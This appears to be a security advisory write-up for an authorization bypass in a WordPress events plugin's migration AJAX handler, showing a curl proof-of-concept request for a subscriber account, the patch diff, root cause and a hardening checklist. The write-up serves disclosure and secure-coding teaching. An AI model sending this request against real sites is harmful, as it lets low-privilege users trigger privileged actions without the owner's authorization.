The Exploit
An authenticated WordPress user with subscriber-level access can invoke the custom tables migration AJAX action directly.
curl 'https://TARGET/wp-admin/admin-ajax.php' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-H 'Cookie: wordpress_logged_in_XXXXXXXX=YOUR_SESSION_COOKIE' \
--data-raw 'action=tec_events_custom_tables_v1_migration_start&_ajax_nonce=NONCE_VALUE&tec_events_custom_tables_v1_migration_dry_run=1'
The request hits the plugin's AJAX migration handler and returns a JSON response from the migration workflow. Because the endpoint never checks current_user_can('manage_options'), a low-privilege authenticated user can trigger the migration process without administrator authorization.
What the Patch Did
Before
public function start_migration( $echo = true ) {
check_ajax_referer( self::NONCE_ACTION );
$dry_run = ! empty( $_REQUEST['tec_events_custom_tables_v1_migration_dry_run'] );
After
public function start_migration( $echo = true ) {
check_ajax_referer( self::NONCE_ACTION );
if ( ! current_user_can( 'manage_options' ) ) {
wp_send_json_error(
[
'message' => __( 'You do not have permission to migrate events.', 'the-events-calendar' ),
]
);
return;
}
$dry_run = ! empty( $_REQUEST['tec_events_custom_tables_v1_migration_dry_run'] );
The patch adds a WordPress capability check using current_user_can('manage_options') to the AJAX handler. That is the missing authorization control: it prevents unauthorised authenticated users from running migration actions. The patch also uses wp_send_json_error() and return so unauthorized requests are stopped before any migration logic executes.
Root Cause
This is a CWE-862 authorization bypass: the AJAX handler trusted the request based only on check_ajax_referer(), which protects against CSRF but does not verify user privileges. The attacker-controlled request enters through admin-ajax.php with action=..._start and tec_events_custom_tables_v1_migration_dry_run, and the handler reaches the migration logic without checking current_user_can('manage_options'). A valid subscriber session plus nonce is enough to cross the privilege boundary and execute a privileged migration endpoint.
Why It Works
The single load-bearing line is the new current_user_can( 'manage_options' ) check. Without that check, the request still passes check_ajax_referer() and continues straight into migration startup. The wp_send_json_error() call is necessary to return a proper AJAX error payload, and the return stops execution after the authorization failure. But the bug is fundamentally fixed by the capability check itself; the rest of the added code is the standard response pattern around that authorization decision.
Hardening Checklist
- Always call
current_user_can( 'manage_options' )or an appropriate capability before performing privileged actions in admin AJAX handlers. - Use
check_ajax_referer( $action )for CSRF protection, but never rely on it as the sole authorization gate. - For AJAX endpoints, place capability checks before reading request parameters like
$_REQUEST['tec_events_custom_tables_v1_migration_dry_run']. - Use
wp_send_json_error()orwp_die()immediately when authorization fails to prevent downstream side effects. - Treat every admin-ajax action as public-facing input; add explicit authorization in the handler, not only in the caller or UI.
References
- https://nvd.nist.gov/vuln/detail/CVE-2025-15043